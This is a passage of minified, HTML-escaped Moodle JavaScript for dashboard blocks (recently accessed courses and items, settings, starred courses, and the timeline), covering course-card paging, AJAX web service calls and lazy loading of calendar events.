SELECTORS_BLOCK_CONTAINER=&#039;[data-region=&quot;recentlyaccessedcourses&quot;]&#039;,SELECTORS_CARD_CONTAINER=&#039;[data-region=&quot;card-deck&quot;]&#039;,SELECTORS_COURSE_IS_FAVOURITE=&#039;[data-region=&quot;is-favourite&quot;]&#039;,SELECTORS_CONTENT=&#039;[data-region=&quot;view-content&quot;]&#039;,SELECTORS_EMPTY_MESSAGE=&#039;[data-region=&quot;empty-message&quot;]&#039;,SELECTORS_LOADING_PLACEHOLDER=&#039;[data-region=&quot;loading-placeholder&quot;]&#039;,SELECTORS_PAGING_BAR=&#039;[data-region=&quot;paging-bar&quot;]&#039;,SELECTORS_PAGING_BAR_NEXT=&#039;[data-control=&quot;next&quot;]&#039;,SELECTORS_PAGING_BAR_PREVIOUS=&#039;[data-control=&quot;previous&quot;]&#039;,contentLoaded=!1,allCourses=[],visibleCoursesId=null,cardWidth=null,viewIndex=0,availableVisibleCards=1,loadContent=function(userid){return CoursesRepository.getLastAccessedCourses(userid,10).then((function(courses){return function(courses){var showcoursecategory=$(SELECTORS_BLOCK_CONTAINER).data(&quot;displaycoursecategory&quot;),promises=courses.map((function(course){return course.showcoursecategory=showcoursecategory,Templates.render(&quot;block_recentlyaccessedcourses/course-card&quot;,course)}));return $.when.apply(null,promises).then((function(){var renderedCourses=[];return promises.forEach((function(promise){promise.then((function(html){renderedCourses.push($(html))})).catch(Notification.exception)})),renderedCourses}))}(courses)}))},recalculateVisibleCourses=function(root){var container=root.find(SELECTORS_CONTENT).find(SELECTORS_CARD_CONTAINER),availableWidth=parseFloat(root.css(&quot;width&quot;)),numberOfCourses=allCourses.length,start=0;(cardWidth||(container.html(allCourses[0]),cardWidth=allCourses[0].outerWidth(!0)),availableVisibleCards=Math.floor(availableWidth/cardWidth),viewIndex+availableVisibleCards&lt;numberOfCourses)?start=viewIndex:start=(start=viewIndex-(viewIndex+availableVisibleCards-numberOfCourses))&gt;=0?start:0;0===availableVisibleCards&amp;&amp;(availableVisibleCards=1);var coursesToShow=allCourses.slice(start,start+availableVisibleCards),newVisibleCoursesId=coursesToShow.reduce((function(carry,course){return carry+course.attr(&quot;data-course-id&quot;)}),&quot;&quot;);if(allCourses.length&gt;coursesToShow.length?(container.addClass(&quot;justify-content-center&quot;),container.removeClass(&quot;justify-content-start&quot;)):(container.removeClass(&quot;justify-content-center&quot;),container.addClass(&quot;justify-content-start&quot;)),visibleCoursesId!=newVisibleCoursesId){var pagingBar=root.find(PagedContentPagingBar.rootSelector);container.html(coursesToShow),visibleCoursesId=newVisibleCoursesId,availableVisibleCards&gt;=allCourses.length?function(root){var pagingBar=root.find(SELECTORS_PAGING_BAR);pagingBar.css(&quot;opacity&quot;,0),pagingBar.css(&quot;visibility&quot;,&quot;hidden&quot;),Aria.hide(pagingBar)}(root):(!function(root){var pagingBar=root.find(SELECTORS_PAGING_BAR);pagingBar.css(&quot;opacity&quot;,1),pagingBar.css(&quot;visibility&quot;,&quot;visible&quot;),Aria.unhide(pagingBar)}(root),0===viewIndex?PagedContentPagingBar.disablePreviousControlButtons(pagingBar):PagedContentPagingBar.enablePreviousControlButtons(pagingBar),viewIndex+availableVisibleCards&gt;=allCourses.length?PagedContentPagingBar.disableNextControlButtons(pagingBar):PagedContentPagingBar.enableNextControlButtons(pagingBar))}},registerEventListeners=function(root){var resizeTimeout=null,drawerToggling=!1;PubSub.subscribe(CourseEvents.favourited,(function(courseId){!function(root,courseId){allCourses.forEach((function(course){course.attr(&quot;data-course-id&quot;)==courseId&amp;&amp;course.find(SELECTORS_COURSE_IS_FAVOURITE).removeClass(&quot;hidden&quot;)}))}(0,courseId)})),PubSub.subscribe(CourseEvents.unfavorited,(function(courseId){!function(root,courseId){allCourses.forEach((function(course){course.attr(&quot;data-course-id&quot;)==courseId&amp;&amp;course.find(SELECTORS_COURSE_IS_FAVOURITE).addClass(&quot;hidden&quot;)}))}(0,courseId)})),PubSub.subscribe(&quot;nav-drawer-toggle-start&quot;,(function(){if(contentLoaded&amp;&amp;allCourses.length&amp;&amp;!drawerToggling){drawerToggling=!0;var recalculationCount=0,doRecalculation=function(){setTimeout((function(){recalculateVisibleCourses(root),++recalculationCount&lt;5&amp;&amp;drawerToggling&amp;&amp;doRecalculation()}),100)};doRecalculation(root)}})),PubSub.subscribe(&quot;nav-drawer-toggle-end&quot;,(function(){drawerToggling=!1})),$(window).on(&quot;resize&quot;,(function(){contentLoaded&amp;&amp;allCourses.length&amp;&amp;(resizeTimeout||(resizeTimeout=setTimeout((function(){resizeTimeout=null,recalculateVisibleCourses(root)}),66)))})),CustomEvents.define(root,[CustomEvents.events.activate]),root.on(CustomEvents.events.activate,SELECTORS_PAGING_BAR_NEXT,(function(e,data){$(e.target).closest(SELECTORS_PAGING_BAR_NEXT).hasClass(&quot;disabled&quot;)||(viewIndex+=availableVisibleCards,recalculateVisibleCourses(root)),data.originalEvent.preventDefault()})),root.on(CustomEvents.events.activate,SELECTORS_PAGING_BAR_PREVIOUS,(function(e,data){$(e.target).closest(SELECTORS_PAGING_BAR_PREVIOUS).hasClass(&quot;disabled&quot;)||(viewIndex=(viewIndex-=availableVisibleCards)&lt;0?0:viewIndex,recalculateVisibleCourses(root)),data.originalEvent.preventDefault()}))};return{init:function(userid,root){root=$(root),registerEventListeners(root),loadContent(userid).then((function(renderedCourses){contentLoaded=!0,(allCourses=renderedCourses).length?(!function(root){root.find(SELECTORS_CONTENT).removeClass(&quot;hidden&quot;),root.find(SELECTORS_EMPTY_MESSAGE).addClass(&quot;hidden&quot;),root.find(SELECTORS_LOADING_PLACEHOLDER).addClass(&quot;hidden&quot;)}(root),recalculateVisibleCourses(root)):function(root){root.find(SELECTORS_EMPTY_MESSAGE).removeClass(&quot;hidden&quot;),root.find(SELECTORS_LOADING_PLACEHOLDER).addClass(&quot;hidden&quot;),root.find(SELECTORS_CONTENT).addClass(&quot;hidden&quot;)}(root)})).catch(Notification.exception)}}}));
/**
 * A javascript module to handle user ajax actions.
 *
 * @module     block_recentlyaccesseditems/repository
 * @copyright  2018 Victor Deniz &lt;victor@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;block_recentlyaccesseditems/repository&quot;,[&quot;core/ajax&quot;],(function(Ajax){return{getRecentItems:function(limit){var args={};void 0!==limit&amp;&amp;(args.limit=limit);var request={methodname:&quot;block_recentlyaccesseditems_get_recent_items&quot;,args:args};return Ajax.call([request])[0]}}}));
/**
 * Javascript to initialise the Recently accessed items block.
 *
 * @module     block_recentlyaccesseditems/main
 * @copyright  2018 Victor Deniz &lt;victor@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;block_recentlyaccesseditems/main&quot;,[&quot;jquery&quot;,&quot;block_recentlyaccesseditems/repository&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;],(function($,Repository,Templates,Notification){var SELECTORS_CARDDECK_CONTAINER=&#039;[data-region=&quot;recentlyaccesseditems-view&quot;]&#039;,SELECTORS_CARDDECK=&#039;[data-region=&quot;recentlyaccesseditems-view-content&quot;]&#039;,SELECTORS_SHOWMORE_LINK=&#039;[data-region=&quot;recentlyaccesseditems-view&quot;] [data-action=&quot;more-items&quot;]&#039;;return{init:function(root){var limit,itemsContainer=(root=$(root)).find(SELECTORS_CARDDECK_CONTAINER),itemsContent=root.find(SELECTORS_CARDDECK);(limit=9,Repository.getRecentItems(limit)).then((function(items){var pageContentPromise=function(root,items){if(items.length&gt;0){let hasmoreitems=!1;return items.length&gt;3&amp;&amp;(hasmoreitems=!0),Templates.render(&quot;block_recentlyaccesseditems/view-cards&quot;,{items:items,hasmoreitems:hasmoreitems})}var noitemsimgurl=root.attr(&quot;data-noitemsimgurl&quot;);return Templates.render(&quot;block_recentlyaccesseditems/no-items&quot;,{noitemsimgurl:noitemsimgurl})}(itemsContainer,items);pageContentPromise.then((function(html,js){return Templates.replaceNodeContents(itemsContent,html,js),items.length&gt;3&amp;&amp;(()=&gt;{const showmoreLink=document.querySelector(SELECTORS_SHOWMORE_LINK);showmoreLink.addEventListener(&quot;click&quot;,(()=&gt;{showmoreLink.classList.add(&quot;d-none&quot;),document.querySelector(&#039;[data-region=&quot;items-list&quot;]&#039;).children.forEach((function(hiddenItem){hiddenItem.style=&quot;display: block&quot;}))}))})(),null})).catch(Notification.exception)})).catch(Notification.exception)}}}));
define(&quot;block_settings/settingsblock&quot;,[&quot;exports&quot;,&quot;core_block/events&quot;,&quot;core/tree&quot;],(function(_exports,_events,_tree){var obj;
/**
   * Load the settings block tree javscript
   *
   * @module     block_settings/settingsblock
   * @copyright  2015 John Okely &lt;john@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_tree=(obj=_tree)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.init=(instanceId,siteAdminNodeId)=&gt;{const adminTree=new _tree.default(&quot;.block_settings .block_tree&quot;),blockNode=document.querySelector(&#039;[data-instance-id=&quot;&#039;.concat(instanceId,&#039;&quot;]&#039;));if(siteAdminNodeId){const siteAdminLink=adminTree.treeRoot.get(0).querySelector(&quot;#&quot;.concat(siteAdminNodeId,&quot; a&quot;)),newContainer=document.createElement(&quot;span&quot;);newContainer.setAttribute(&quot;tabindex&quot;,&quot;0&quot;),siteAdminLink.childNodes.forEach((node=&gt;newContainer.appendChild(node))),siteAdminLink.replaceWith(newContainer)}adminTree.finishExpandingGroup=function(item){_tree.default.prototype.finishExpandingGroup.call(adminTree,item),(0,_events.notifyBlockContentUpdated)(blockNode)},adminTree.collapseGroup=function(item){_tree.default.prototype.collapseGroup.call(adminTree,item),(0,_events.notifyBlockContentUpdated)(blockNode)}}}));
/**
 * A javascript module to retrieve user&#039;s starred courses.
 *
 * @module block_starredcourses/repository
 * @copyright  2018 Simey Lameze &lt;simey@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;block_starredcourses/repository&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;],(function($,Ajax,Notification){return{getStarredCourses:function(args){var request={methodname:&quot;block_starredcourses_get_starred_courses&quot;,args:args},promise=Ajax.call([request])[0];return promise.fail(Notification.exception),promise}}}));
/**
 * Javascript to initialise the starred courses block.
 *
 * @module block_starredcourses/main
 * @copyright   2018 Simey Lameze &lt;simey@moodle.com&gt;
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;block_starredcourses/main&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;block_starredcourses/repository&quot;,&quot;core/pubsub&quot;,&quot;core/templates&quot;,&quot;core_course/events&quot;],(function($,Notification,Repository,PubSub,Templates,CourseEvents){var SELECTORS_BLOCK_CONTAINER=&#039;[data-region=&quot;starred-courses&quot;]&#039;,SELECTORS_STARRED_COURSES_REGION_VIEW=&#039;[data-region=&quot;starred-courses-view&quot;]&#039;,SELECTORS_STARRED_COURSES_REGION=&#039;[data-region=&quot;starred-courses-view-content&quot;]&#039;,reloadContent=function(root){var content=root.find(SELECTORS_STARRED_COURSES_REGION);return Repository.getStarredCourses({limit:0,offset:0}).then((function(courses){var showcoursecategory=$(SELECTORS_BLOCK_CONTAINER).data(&quot;displaycoursecategory&quot;);return courses=courses.map((function(course){return course.showcoursecategory=showcoursecategory,course})),function(root,courses){if(courses.length&gt;0)return Templates.render(&quot;core_course/view-cards&quot;,{courses:courses});var nocoursesimg=root.find(SELECTORS_STARRED_COURSES_REGION_VIEW).attr(&quot;data-nocoursesimg&quot;);return Templates.render(&quot;block_starredcourses/no-courses&quot;,{nocoursesimg:nocoursesimg})}(root,courses)})).then((function(html,js){return Templates.replaceNodeContents(content,html,js)})).catch(Notification.exception)};return{init:function(root){(function(root){PubSub.subscribe(CourseEvents.favourited,(function(){reloadContent(root)})),PubSub.subscribe(CourseEvents.unfavorited,(function(){reloadContent(root)}))})(root=$(root)),reloadContent(root)}}}));
/**
 * Javascript to load and render the list of calendar events for a
 * given day range.
 *
 * @module     block_timeline/event_list
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;block_timeline/event_list&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;core/str&quot;,&quot;core/user_date&quot;,&quot;block_timeline/calendar_events_repository&quot;,&quot;core/pending&quot;],(function($,Notification,Templates,Str,UserDate,CalendarEventsRepository,Pending){var courseview=!1,SELECTORS_EMPTY_MESSAGE=&#039;[data-region=&quot;no-events-empty-message&quot;]&#039;,SELECTORS_EVENT_LIST_CONTENT=&#039;[data-region=&quot;event-list-content&quot;]&#039;,SELECTORS_EVENT_LIST_WRAPPER=&#039;[data-region=&quot;event-list-wrapper&quot;]&#039;,SELECTORS_EVENT_LIST_LOADING_PLACEHOLDER=&#039;[data-region=&quot;event-list-loading-placeholder&quot;]&#039;,SELECTORS_TIMELINE_BLOCK=&#039;[data-region=&quot;timeline&quot;]&#039;,SELECTORS_TIMELINE_SEARCH=&#039;[data-action=&quot;search&quot;]&#039;,SELECTORS_MORE_ACTIVITIES_BUTTON=&#039;[data-action=&quot;more-events&quot;]&#039;,SELECTORS_MORE_ACTIVITIES_BUTTON_CONTAINER=&#039;[data-region=&quot;more-events-button-container&quot;]&#039;,TEMPLATES_EVENT_LIST_CONTENT=&quot;block_timeline/event-list-content&quot;,TEMPLATES_MORE_ACTIVITIES_BUTTON=&quot;block_timeline/event-list-loadmore&quot;,TEMPLATES_LOADING_ICON=&quot;core/loading&quot;;var hideContent=function(root){root.find(SELECTORS_EVENT_LIST_CONTENT).addClass(&quot;hidden&quot;),root.find(SELECTORS_EMPTY_MESSAGE).removeClass(&quot;hidden&quot;)},showContent=function(root){root.find(SELECTORS_EVENT_LIST_CONTENT).removeClass(&quot;hidden&quot;),root.find(SELECTORS_EMPTY_MESSAGE).addClass(&quot;hidden&quot;)},emptyContent=function(root){root.find(SELECTORS_EVENT_LIST_CONTENT).empty()},render=function(calendarEvents){var templateContext=function(calendarEvents){var eventsByDay={},templateContext={courseview:courseview,eventsbyday:[]};return calendarEvents.forEach((function(calendarEvent){var dayTimestamp=calendarEvent.timeusermidnight;eventsByDay[dayTimestamp]?eventsByDay[dayTimestamp].push(calendarEvent):eventsByDay[dayTimestamp]=[calendarEvent]})),Object.keys(eventsByDay).forEach((function(dayTimestamp){var events=eventsByDay[dayTimestamp];templateContext.eventsbyday.push({dayTimestamp:dayTimestamp,events:events})})),templateContext}(calendarEvents),templateName=TEMPLATES_EVENT_LIST_CONTENT;return Templates.render(templateName,templateContext)};const createLazyLoadingContent=(root,firstLoad,itemLimit,midnight,lastId,courseId,daysOffset,daysLimit,searchValue)=&gt;loadEventsForLazyLoading(root,itemLimit,midnight,lastId,courseId,daysOffset,daysLimit,searchValue).then((data=&gt;{if(data.calendarEvents.length){const lastEventId=data.calendarEvents.at(-1).id,lastTimeStamp=data.calendarEvents.at(-1).timeusermidnight;return firstLoad.resolve({hasContent:!0,lastId:lastEventId,lastTimeStamp:lastTimeStamp,loadedAll:data.loadedAll}),render(data.calendarEvents)}return firstLoad.resolve({hasContent:!1,lastId:0,lastTimeStamp:0,loadedAll:!0}),data.calendarEvents})).catch(Notification.exception),loadEventsForLazyLoading=(root,itemLimit,midnight,lastId,courseId,daysOffset,daysLimit,searchValue)=&gt;{const eventsPromise=function(midnight,limit,daysOffset,daysLimit,lastId,courseId,searchValue){var endTime=null!=daysLimit&amp;&amp;midnight+86400*daysLimit,args={starttime:midnight+86400*daysOffset,limit:limit};return lastId&amp;&amp;(args.aftereventid=lastId),endTime&amp;&amp;(args.endtime=endTime),searchValue&amp;&amp;(args.searchvalue=searchValue),courseId?(args.courseid=courseId,CalendarEventsRepository.queryByCourse(args)):CalendarEventsRepository.queryByTime(args)}(midnight,itemLimit+1,daysOffset,daysLimit,lastId,courseId,searchValue);let calendarEvents=[],loadedAll=!0;return eventsPromise.then((result=&gt;{if(!result.events.length)return{calendarEvents:calendarEvents,loadedAll:loadedAll};const overdueFilter=document.querySelector(&quot;[data-filtername=&#039;overdue&#039;]&quot;),filterByOverdue=overdueFilter&amp;&amp;overdueFilter.getAttribute(&quot;aria-current&quot;);if(calendarEvents=result.events.filter((event=&gt;{if(&quot;open&quot;==event.eventtype||&quot;opensubmission&quot;==event.eventtype){return UserDate.getUserMidnightForTimestamp(event.timesort,midnight)&gt;midnight}return!filterByOverdue||event.overdue})),loadedAll=calendarEvents.length&lt;=itemLimit,loadedAll||calendarEvents.pop(),calendarEvents.length){const lastEventId=calendarEvents.at(-1).id;setOffset(root,lastEventId)}return{calendarEvents:calendarEvents,loadedAll:loadedAll}}))},getOffset=element=&gt;parseInt(element.attr(&quot;data-lazyload-offset&quot;),10),setOffset=(element,offset)=&gt;{element.attr(&quot;data-lazyload-offset&quot;,offset)},getLastTimestamp=element=&gt;parseInt(element.attr(&quot;data-timestamp&quot;),10),setLastTimestamp=(element,timestamp)=&gt;{element.attr(&quot;data-timestamp&quot;,timestamp)},disableMoreActivitiesButtonLoading=root=&gt;{root.find(SELECTORS_MORE_ACTIVITIES_BUTTON_CONTAINER).remove()},initEventListener=root=&gt;{root.find(SELECTORS_MORE_ACTIVITIES_BUTTON).on(&quot;click&quot;,(()=&gt;{(root=&gt;{const loadMoreButton=root.find(SELECTORS_MORE_ACTIVITIES_BUTTON);loadMoreButton.prop(&quot;disabled&quot;,!0),Templates.render(TEMPLATES_LOADING_ICON,{}).then((html=&gt;(loadMoreButton.append(html),html))).catch((()=&gt;!1))})(root),(root=&gt;{const midnight=parseInt(root.attr(&quot;data-midnight&quot;),10),courseId=root.attr(&quot;data-course-id&quot;),daysOffset=parseInt(root.attr(&quot;data-days-offset&quot;),10),daysLimit=root.attr(&quot;data-days-limit&quot;),lastId=getOffset(root),eventListWrapper=root.find(SELECTORS_EVENT_LIST_WRAPPER),searchValue=root.closest(SELECTORS_TIMELINE_BLOCK).find(SELECTORS_TIMELINE_SEARCH).val();loadEventsForLazyLoading(root,10,midnight,lastId,courseId,daysOffset,daysLimit,searchValue).then((data=&gt;{if(data.calendarEvents.length){const renderPromise=render(data.calendarEvents),lastTimestamp=getLastTimestamp(root);renderPromise.then(((html,js)=&gt;((html=$(html)).find(&#039;[data-timestamp=&quot;&#039;.concat(lastTimestamp,&#039;&quot;]&#039;)).remove(),Templates.appendNodeContents(eventListWrapper,html.html(),js),data.loadedAll||Templates.render(TEMPLATES_MORE_ACTIVITIES_BUTTON,{}).then((html=&gt;(eventListWrapper.append(html),setLastTimestamp(root,data.calendarEvents.at(-1).timeusermidnight),initEventListener(root),html))).catch((()=&gt;!1)),html))).catch(Notification.exception)}return data})).then((()=&gt;disableMoreActivitiesButtonLoading(root))).catch(Notification.exception)})(root)}))};return{init:function(root){let additionalConfig=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};const pendingPromise=new Pending(&quot;block/timeline:event-init&quot;);root=$(root),courseview=!!additionalConfig.courseview;var firstLoad=$.Deferred(),eventListContent=root.find(SELECTORS_EVENT_LIST_CONTENT),loadingPlaceholder=root.find(SELECTORS_EVENT_LIST_LOADING_PLACEHOLDER),courseId=root.attr(&quot;data-course-id&quot;),daysOffset=parseInt(root.attr(&quot;data-days-offset&quot;),10),daysLimit=root.attr(&quot;data-days-limit&quot;),midnight=parseInt(root.attr(&quot;data-midnight&quot;),10);const searchValue=root.closest(SELECTORS_TIMELINE_BLOCK).find(SELECTORS_TIMELINE_SEARCH).val();return emptyContent(root),showContent(root),loadingPlaceholder.removeClass(&quot;hidden&quot;),null!=daysLimit&amp;&amp;(daysLimit=parseInt(daysLimit,10)),createLazyLoadingContent(root,firstLoad,5,midnight,0,courseId,daysOffset,daysLimit,searchValue).then((function(html,js){return firstLoad.then((function(data){return data.hasContent?((html=$(html)).addClass(&quot;hidden&quot;),Templates.replaceNodeContents(eventListContent,html,js),html.removeClass(&quot;hidden&quot;),loadingPlaceholder.addClass(&quot;hidden&quot;),data.loadedAll||Templates.render(TEMPLATES_MORE_ACTIVITIES_BUTTON,{courseview:courseview}).then((function(html){return eventListContent.append(html),setLastTimestamp(root,data.lastTimeStamp),initEventListener(root),html})).catch((function(){return!1})),data):(loadingPlaceholder.addClass(&quot;hidden&quot;),hideContent(root))})).catch((function(){return!1})),html})).then((()=&gt;pendingPromise.resolve())).catch(Notification.exception)},rootSelector:&#039;[data-region=&quot;event-list-container&quot;]&#039;}}));
/**
 * A javascript module to retrieve calendar events from the server.
 *
 * @module     block_timeline/calendar_events_repository
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;block_timeline/calendar_events_repository&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;],(function($,Ajax,Notification){return{queryByTime:function(args){args.hasOwnProperty(&quot;limit&quot;)||(args.limit=20),args.limitnum=args.limit,delete args.limit,args.hasOwnProperty(&quot;starttime&quot;)&amp;&amp;(args.timesortfrom=args.starttime,delete args.starttime),args.hasOwnProperty(&quot;endtime&quot;)&amp;&amp;(args.timesortto=args.endtime,delete args.endtime),args.limittononsuspendedevents=!0;var request={methodname:&quot;core_calendar_get_action_events_by_timesort&quot;,args:args},promise=Ajax.call([request])[0];return promise.fail(Notification.exception),promise},queryByCourse:function(args){args.hasOwnProperty(&quot;limit&quot;)||(args.limit=20),args.limitnum=args.limit,delete args.limit,args.hasOwnProperty(&quot;starttime&quot;)&amp;&amp;(args.timesortfrom=args.starttime,delete args.starttime),args.hasOwnProperty(&quot;endtime&quot;)&amp;&amp;(args.timesortto=args.endtime,delete args.endtime);var request={methodname:&quot;core_calendar_get_action_events_by_course&quot;,args:args},promise=Ajax.call([request])[0];return promise.fail(Notification.exception),promise},queryByCourses:function(args){args.hasOwnProperty(&quot;limit&quot;)||(args.limit=10),args.limitnum=args.limit,delete args.limit,args.hasOwnProperty(&quot;starttime&quot;)&amp;&amp;(args.timesortfrom=args.starttime,delete args.starttime),args.hasOwnProperty(&quot;endtime&quot;)&amp;&amp;(args.timesortto=args.endtime,delete args.endtime);var request={methodname:&quot;core_calendar_get_action_events_by_courses&quot;,args:args},promise=Ajax.call([request])[0];return promise.fail(Notification.exception),promise}}}));
/**
 * Javascript to initialise the timeline block.
 *
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;block_timeline/main&quot;,[&quot;jquery&quot;,&quot;block_timeline/view_nav&quot;,&quot;block_timeline/view&quot;],(function($,ViewNav,View){var SELECTORS_TIMELINE_VIEW=&#039;[data-region=&quot;timeline-view&quot;]&#039;;return{init:function(root){var viewRoot=(root=$(root)).find(SELECTORS_TIMELINE_VIEW);ViewNav.init(root,viewRoot),View.init(viewRoot)}}}));
/**
 * Manage the timeline courses view for the timeline block.
 *
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;block_timeline/view_courses&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/templates&quot;,&quot;block_timeline/event_list&quot;,&quot;core_course/repository&quot;,&quot;block_timeline/calendar_events_repository&quot;,&quot;core/pending&quot;],(function($,Notification,CustomEvents,Templates,EventList,CourseRepository,EventsRepository,Pending){var SELECTORS_MORE_COURSES_BUTTON=&#039;[data-action=&quot;more-courses&quot;]&#039;,SELECTORS_MORE_COURSES_BUTTON_CONTAINER=&#039;[data-region=&quot;more-courses-button-container&quot;]&#039;,SELECTORS_NO_COURSES_EMPTY_MESSAGE=&#039;[data-region=&quot;no-courses-empty-message&quot;]&#039;,SELECTORS_NO_COURSES_WITH_EVENTS_MESSAGE=&#039;[data-region=&quot;no-events-empty-message&quot;]&#039;,SELECTORS_COURSES_LIST=&#039;[data-region=&quot;courses-list&quot;]&#039;,SELECTORS_COURSE_ITEMS_LOADING_PLACEHOLDER=&#039;[data-region=&quot;course-items-loading-placeholder&quot;]&#039;,SELECTORS_LOADING_ICON=&quot;.loading-icon&quot;,SELECTORS_TIMELINE_BLOCK=&#039;[data-region=&quot;timeline&quot;]&#039;,SELECTORS_TIMELINE_SEARCH=&#039;[data-action=&quot;search&quot;]&#039;,TEMPLATES_COURSE_ITEMS=&quot;block_timeline/course-items&quot;,TEMPLATES_LOADING_ICON=&quot;core/loading&quot;;const additionalConfig={courseview:!0};var hideLoadingPlaceholder=function(root){root.find(SELECTORS_COURSE_ITEMS_LOADING_PLACEHOLDER).addClass(&quot;hidden&quot;)};var hideMoreCoursesButton=function(root){root.find(SELECTORS_MORE_COURSES_BUTTON_CONTAINER).addClass(&quot;hidden&quot;)},showMoreCoursesButton=function(root){root.find(SELECTORS_MORE_COURSES_BUTTON_CONTAINER).removeClass(&quot;hidden&quot;)},disableMoreCoursesButtonLoading=function(root){var button=root.find(SELECTORS_MORE_COURSES_BUTTON);button.prop(&quot;disabled&quot;,!1),button.find(SELECTORS_LOADING_ICON).remove()};const showNoCoursesWithEventsMessage=function(root){const container=root.find(SELECTORS_COURSES_LIST);Templates.replaceNodeContents(container,&quot;&quot;,&quot;&quot;),root.find(SELECTORS_NO_COURSES_WITH_EVENTS_MESSAGE).removeClass(&quot;hidden&quot;)};var getOffset=function(root){return parseInt(root.attr(&quot;data-offset&quot;),10)},setOffset=function(root,offset){root.attr(&quot;data-offset&quot;,offset)},getLimit=function(root){return parseInt(root.attr(&quot;data-limit&quot;),10)},getDaysOffset=function(root){return parseInt(root.attr(&quot;data-days-offset&quot;),10)},getDaysLimit=function(root){var daysLimit=root.attr(&quot;data-days-limit&quot;);return null!=daysLimit?parseInt(daysLimit,10):void 0},getMidnight=function(root){return parseInt(root.attr(&quot;data-midnight&quot;),10)},getStartTime=function(root){return getMidnight(root)+86400*getDaysOffset(root)},getEndTime=function(root){let endTime=null;if(root.attr(&quot;data-filter-overdue&quot;))endTime=Math.floor(Date.now()/1e3);else{const midnight=getMidnight(root),daysLimit=getDaysLimit(root);null!=daysLimit&amp;&amp;(endTime=midnight+86400*daysLimit)}return endTime},hasReloadedEventsSince=function(root,time){return function(root){return root.data(&quot;last-event-load-time&quot;)}(root)&gt;time},loadEventsForCourses=function(courses,startTime,endTime,searchValue){return function(courseIds,startTime,limit,endTime,searchValue){var args={courseids:courseIds,starttime:startTime,limit:limit};return endTime&amp;&amp;(args.endtime=endTime),searchValue&amp;&amp;(args.searchvalue=searchValue),EventsRepository.queryByCourses(args)}(courses.map((function(course){return course.id})),startTime,6,endTime,searchValue)},updateDisplayFromCourses=function(courses,root,midnight,daysOffset,daysLimit,append){return Templates.render(TEMPLATES_COURSE_ITEMS,{courses:courses,midnight:midnight,hasdaysoffset:!0,hasdayslimit:null!=daysLimit,daysoffset:daysOffset,dayslimit:daysLimit,nodayslimit:null==daysLimit,courseview:!0,hascourses:!0}).then((function(html){return hideLoadingPlaceholder(root),html&amp;&amp;function(root,html){let append=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]&amp;&amp;arguments[2];var container=root.find(SELECTORS_COURSES_LIST);append?Templates.appendNodeContents(container,html,&quot;&quot;):Templates.replaceNodeContents(container,html,&quot;&quot;)}(root,html,append),html})).then((function(html){return courses.length&lt;2?hideMoreCoursesButton(root):showMoreCoursesButton(root),html})).catch((function(){hideLoadingPlaceholder(root)}))},loadMoreCourses=function(root){let append=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]&amp;&amp;arguments[1];const pendingPromise=new Pending(&quot;block/timeline:load-more-courses&quot;);var offset=getOffset(root),limit=getLimit(root);const startTime=getStartTime(root),endTime=getEndTime(root),searchValue=root.closest(SELECTORS_TIMELINE_BLOCK).find(SELECTORS_TIMELINE_SEARCH).val();return CourseRepository.getEnrolledCoursesWithEventsByTimelineClassification(&quot;all&quot;,limit,offset,&quot;fullname asc&quot;,searchValue,startTime,endTime).then((function(result){var startEventLoadingTime=Date.now(),courses=result.courses,nextOffset=result.nextoffset,daysOffset=getDaysOffset(root),daysLimit=getDaysLimit(root),midnight=getMidnight(root);const moreCoursesAvailable=result.morecoursesavailable;setOffset(root,nextOffset);var eventsPromise=loadEventsForCourses(courses,startTime,endTime,searchValue),renderPromise=updateDisplayFromCourses(courses,root,midnight,daysOffset,daysLimit,append);return $.when(eventsPromise,renderPromise).then((function(eventsByCourse){return hasReloadedEventsSince(root,startEventLoadingTime)||(courses.length&gt;0?(courses.forEach((function(course){const containerSelector=&#039;[data-region=&quot;course-events-container&quot;][data-course-id=&quot;&#039;+course.id+&#039;&quot;]&#039;,eventListRoot=root.find(containerSelector).find(EventList.rootSelector);EventList.init(eventListRoot,additionalConfig)})),moreCoursesAvailable?showMoreCoursesButton(root):hideMoreCoursesButton(root)):(hideMoreCoursesButton(root),0==offset&amp;&amp;showNoCoursesWithEventsMessage(root))),eventsByCourse}))})).then((()=&gt;pendingPromise.resolve())).catch(Notification.exception)},registerEventListeners=function(root){CustomEvents.define(root,[CustomEvents.events.activate]),root.on(CustomEvents.events.activate,SELECTORS_MORE_COURSES_BUTTON,(function(e,data){!function(root){var button=root.find(SELECTORS_MORE_COURSES_BUTTON);button.prop(&quot;disabled&quot;,!0),Templates.render(TEMPLATES_LOADING_ICON,{}).then((function(html){return 